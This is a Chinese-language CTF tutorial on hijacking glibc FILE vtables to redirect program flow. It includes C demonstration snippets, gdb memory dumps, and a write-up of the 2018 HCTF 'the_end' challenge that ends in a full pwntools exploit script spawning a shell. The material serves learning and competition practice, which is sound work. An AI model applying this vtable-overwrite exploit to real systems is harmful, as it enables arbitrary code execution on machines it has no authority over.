伪造 vtable 劫持程序流程 简介 前面我们介绍了 Linux 中文件流的特性(FILE),我们可以得知 Linux 中的一些常见的 IO 操作函数都需要经过 FILE 结构进行处理。尤其是_IO_FILE_plus 结构中存在 vtable,一些函数会取出 vtable 中的指针进行调用。
因此伪造 vtable 劫持程序流程的中心思想就是针对_IO_FILE_plus 的 vtable 动手脚,通过把 vtable 指向我们控制的内存,并在其中布置函数指针来实现。
因此 vtable 劫持分为两种,一种是直接改写 vtable 中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针。
实践 这里演示了修改 vtable 中的指针,首先需要知道_IO_FILE_plus 位于哪里,对于 fopen 的情况下是位于堆内存,对于 stdin\stdout\stderr 是位于 libc.so 中。
1 2 3 4 5 6 7 8 9 10 11 int main (void ) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt" ,"rw" ); vtable_ptr=*(long long *)((long long )fp+0xd8 ); vtable_ptr[7 ]=0x41414141 printf ("call 0x41414141" ); }
根据 vtable 在_IO_FILE_plus 的偏移得到 vtable 的地址,在 64 位系统下偏移是 0xd8。之后需要搞清楚欲劫持的 IO 函数会调用 vtable 中的哪个函数。关于 IO 函数调用 vtable 的情况已经在 FILE 结构介绍一节给出了,知道了 printf 会调用 vtable 中的 xsputn,并且 xsputn 的是 vtable 中第八项之后就可以写入这个指针进行劫持。
并且在 xsputn 等 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址。比如这例子调用 printf,传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。
利用这点可以实现给劫持的 vtable 函数传參,比如
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #define system_ptr 0x7ffff7a52390; int main (void ) { FILE *fp; long long *vtable_ptr; fp=fopen("123.txt" ,"rw" ); vtable_ptr=*(long long *)((long long )fp+0xd8 ); memcopy(fp,"sh" ,3 ); vtable_ptr[7 ]=system_ptr fwrite("hi" ,2 ,1 ,fp); }
但是在目前 libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的 。不过,通过在可控的内存中伪造 vtable 的方法依然可以实现利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #define system_ptr 0x7ffff7a52390; int main (void ) { FILE *fp; long long *vtable_addr,*fake_vtable; fp=fopen("123.txt" ,"rw" ); fake_vtable=malloc (0x40 ); vtable_addr=(long long *)((long long )fp+0xd8 ); vtable_addr[0 ]=(long long )fake_vtable; memcpy (fp,"sh" ,3 ); fake_vtable[7 ]=system_ptr; fwrite("hi" ,2 ,1 ,fp); }
我们首先分配一款内存来存放伪造的 vtable,之后修改_IO_FILE_plus 的 vtable 指针指向这块内存。因为 vtable 中的指针我们放置的是 system 函数的地址,因此需要传递参数 “/bin/sh” 或 “sh”。
因为 vtable 中的函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 “sh” 写入_IO_FILE_plus 头部。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system(“sh”)。
同样,如果程序中不存在 fopen 等函数创建的_IO_FILE 时,也可以选择 stdin\stdout\stderr 等位于 libc.so 中的_IO_FILE,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。
1 2 3 4 5 6 7 print &_IO_2_1_stdin_ $2 = (struct _IO_FILE_plus *) 0x7ffff7dd18e0 <_IO_2_1_stdin_> 0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
2018 HCTF the_end 题目链接
基本信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { signed int i; void *buf; sleep(0 ); printf ("here is a gift %p, good luck ;)\n" , &sleep); fflush(_bss_start); close(1 ); close(2 ); for ( i = 0 ; i <= 4 ; ++i ) { read(0 , &buf, 8uLL ); read(0 , buf, 1uLL ); } exit (1337 ); }
分析题目,利用点很明确在 main 函数中,且:
除了 canary 保护全开
libc 基地址和 libc 版本
能够任意位置写 5 字节
思路
利用的是在程序调用 exit
后,会遍历 _IO_list_all
,调用 _IO_2_1_stdout_
下的 vatable
中 _setbuf
函数。
可以先修改两个字节在当前 vtable
附近伪造一个 fake_vtable
,然后使用 3 个字节修改 fake_vtable
中 _setbuf
的内容为 one_gadget
。
我们先调试找出 _IO_2_1_stdout_
和 libc 的偏移,这里很蠢的地方是我最初是在 gdb 中搜索相关符号,但是其实找出的地址是 _IO_2_1_stdout_
这个符号所在的位置,而不是其在 libc 数据段上的位置,我们借助 ida 或者 libcsearch 工具找出 vtables
偏移 0x3C56F8
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .data:00000000003 C56F8 dq offset _IO_file_jumps .data:00000000003 C5700 public stderr .data:00000000003 C5700 stderr dq offset _IO_2_1_stderr_ .data:00000000003 C5700 ; DATA XREF: LOAD:000000000000B AF0↑o .data:00000000003 C5700 ; fclose+F2↑r ... .data:00000000003 C5708 public stdout .data:00000000003 C5708 stdout dq offset _IO_2_1_stdout_ .data:00000000003 C5708 ; DATA XREF: LOAD:0000000000009F 48↑o .data:00000000003 C5708 ; fclose+E9↑r ... .data:00000000003 C5710 public stdin .data:00000000003 C5710 stdin dq offset _IO_2_1_stdin_ .data:00000000003 C5710 ; DATA XREF: LOAD:0000000000006 DF8↑o .data:00000000003 C5710 ; fclose:loc_6D340↑r ... .data:00000000003 C5718 dq offset sub_20B70 .data:00000000003 C5718 _data ends .data:00000000003 C5718 .bss:00000000003 C5720 ; ===========================================================================
我们查看下虚表内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> x /30 gx 0x7f41d9c026f8 0x7f41d9c026f8 <_IO_2_1_stdout_+216 >: 0x00007f41d9c006e0 0x00007f41d9c02540 0x7f41d9c02708 <stdout >: 0x00007f41d9c02620 0x00007f41d9c018e0 0x7f41d9c02718 <DW.ref.__gcc_personality_v0>: 0x00007f41d985db70 0x0000000000000000 0x7f41d9c02728 <string_space>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02738 <__printf_va_arg_table>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02748 <transitions>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02758 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02768 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02778 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02788 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02798 <getttyname_name>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027a8 <fcvt_bufptr>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027b8 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027c8 <buffer>: 0x0000000000000000 0x0000000000000000 0x7f41d9c027d8 <buffer>: 0x0000000000000000 0x0000000000000000
然后此时在虚表附近寻找一个 fake_vtable
,需满足以下条件:
fake_vtable_addr
+ 0x58 = libc_base
+ off_set_3
其中 0x58 根据下表查处是 set_buf
在虚表的偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 void * funcs[] = {1 NULL , 2 NULL , 3 exit , 4 NULL , 5 NULL , 6 NULL , 7 NULL , 8 NULL , 9 NULL , 10 NULL , 11 NULL , 12 NULL , 13 NULL , 14 NULL , 15 NULL , 16 NULL , 17 NULL , 18 pwn, 19 NULL , 20 NULL , 21 NULL , };
我这里选择了以下地址作为 fake_vtable
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pwndbg> x /60gx 0x7f41d9c02500 0x7f41d9c02500 <_nl_global_locale+224>: 0x00007f41d99cb997 0x0000000000000000 0x7f41d9c02510: 0x0000000000000000 0x0000000000000000 0x7f41d9c02520 <_IO_list_all>: 0x00007f41d9c02540 0x0000000000000000 0x7f41d9c02530: 0x0000000000000000 0x0000000000000000 0x7f41d9c02540 <_IO_2_1_stderr_>: 0x00000000fbad2086 0x0000000000000000 0x7f41d9c02550 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02560 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02570 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02580 <_IO_2_1_stderr_+64>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02590 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000 0x7f41d9c025a0 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007f41d9c02620 0x7f41d9c025b0 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff 0x7f41d9c025c0 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007f41d9c03770 0x7f41d9c025d0 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000 0x7f41d9c025e0 <_IO_2_1_stderr_+160>: 0x00007f41d9c01660 0x0000000000000000 0x7f41d9c025f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007f41d9c006e0 0x7f41d9c02620 <_IO_2_1_stdout_>: 0x00000000fbad2a84 0x00005582e351c010 0x7f41d9c02630 <_IO_2_1_stdout_+16>: 0x00005582e351c010 0x00005582e351c010 0x7f41d9c02640 <_IO_2_1_stdout_+32>: 0x00005582e351c010 0x00005582e351c010 0x7f41d9c02650 <_IO_2_1_stdout_+48>: 0x00005582e351c010 0x00005582e351c010 0x7f41d9c02660 <_IO_2_1_stdout_+64>: 0x00005582e351c410 0x0000000000000000 0x7f41d9c02670 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000 0x7f41d9c02680 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007f41d9c018e0 0x7f41d9c02690 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff 0x7f41d9c026a0 <_IO_2_1_stdout_+128>: 0x0000000000000000 0x00007f41d9c03780 0x7f41d9c026b0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000 0x7f41d9c026c0 <_IO_2_1_stdout_+160>: 0x00007f41d9c017a0 0x0000000000000000 0x7f41d9c026d0 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000 pwndbg> distance 0x7f41d9c025e0 0x7f41d983d000 0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words) pwndbg> p 0x7f41d9c025e0 -0x58 $10 = 0x7f41d9c02588 pwndbg> distance 0x7f41d9c02588 0x7f41d983d000 0x7f41d9c02588->0x7f41d983d000 is -0x3c5588 bytes (-0x78ab1 words) pwndbg> distance 0x7f41d9c025e0 0x7f41d983d000 0x7f41d9c025e0->0x7f41d983d000 is -0x3c55e0 bytes (-0x78abc words)
最终的利用脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *context(log_level='debug' ,arch='amd64' ) p = process("./the_end" ) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) elf = ELF("./the_end" ) p.recvuntil("gift " ) sleep_addr = int (p.recv(14 ),16 ) libc_base = sleep_addr-libc.sym['sleep' ] log.info("libc_base:" +hex (libc_base)) vtables = libc_base+0x3C56F8 log.info("vtables:" +hex (vtables)) one_gadget = libc_base + libc.sym['system' ] fake_vtable = libc_base + 0x3c5588 target_addr = libc_base + 0x3c55e0 log.info("fake_vtable:" +hex (fake_vtable)) for i in range (2 ): p.send(p64(vtables+i)) p.send(p64(fake_vtable)[i]) gdb.attach(p) for i in range (3 ): p.send(p64(target_addr+i)) p.send(p64(one_gadget)[i]) p.sendline("exec /bin/sh 1>&0" ) p.interactive()